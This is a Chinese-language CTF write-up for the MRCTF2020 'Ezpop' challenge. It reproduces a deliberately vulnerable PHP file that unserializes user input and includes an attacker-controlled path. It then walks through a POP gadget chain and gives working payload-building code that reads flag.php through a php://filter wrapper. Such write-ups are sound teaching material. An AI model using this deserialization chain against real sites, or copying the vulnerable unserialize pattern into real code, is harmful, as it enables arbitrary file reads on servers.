[MRCTF2020]Ezpop
这道题考察pop链,题目中还给了教程,提示的很明显。
第一次遇到这种题,虽说不是难题,但也没个了解,查了下wp,
发现写的都很难懂,解释的很牵强(感觉都出自几个大佬,所以写的很简)
索性我就自己摸索,搞了大半天终于明白了,遂在这里记录一下。
先放原码:
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
下面按新手的步骤来,先分开解读一下:
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
function append:很明显的incloud包含漏洞,可以利用来读flag
function __invoke():调用append读取flag;invoke方法在 当一个对象被当做函数调用时,调用该方法。
思路: 让var=php://filter/read=convert.base64-encode/resource=flag.php
?只要invoke被回调就能读取flag,只需让一个对象被当作函数调用。
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
function __construct:通过file给source赋值;当一个对象被实例化(new)时回调
function __toString():返回str中的source;当一个对象被当做字符串调用或输出时回调
function __wakeup():过滤;在但序列化时自动回调
思路: 这三个方法看着没什么联系,但是却因为先后关系能被链起来。如果让file等于一个对象(实例化的class)
?那么在反序列化时调用的wakeup方法中,就会引起连锁反应(正则匹配会把source当成字符串)
?从而调用了tostring方法,返回str中的source
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
function __construct():将变量p变成一个数组;调用方法同前面
function __get():调用了一个函数,名字为function;访问私有属性或不存在的属性时,自动回调
思路: 提示的很明显,在get方法中,function函数被调用
?所以只要function是个对象,就会调用class Modifier中的 function __invoke(),读取flag
?要让function为对象,只需要让function __construct()中的$this->p = new Modifier();
?然后只需要 实例化class Test 且触发__get()方法 即可获得flag
?现在问题是,如何访问一个私有或不存在的属性触发get?肯定是通过还没使用的class show
?根据class show中的结果,return了一个str中的source,那么当str被赋值为一个实例化对象后
?只要该对象没有source属性,就可以触发__get()方法,而刚好Test中没有source。
?而且让 str = new Test() 还能顺便实例化了Test类,同时满足了俩条件
?至此,这一条链就连起来了!
总结一下思路:
? 通过 show 的 __wakeup(),调用__toString(),调用 test 的__get(),调用 Modifier 的__invoke()
写代码:
class Modifier {
protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}
class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file;
}
}
class Test{
public $p;
public function __construct(){
$this->p = new Modifier();
}
}
$a = new Show('fanqie');
$a -> str = new Test();
$b = new Show($a);
echo urlencode(serialize($b));
将得到的值通过get传入,得到base64码,解码得到flag
|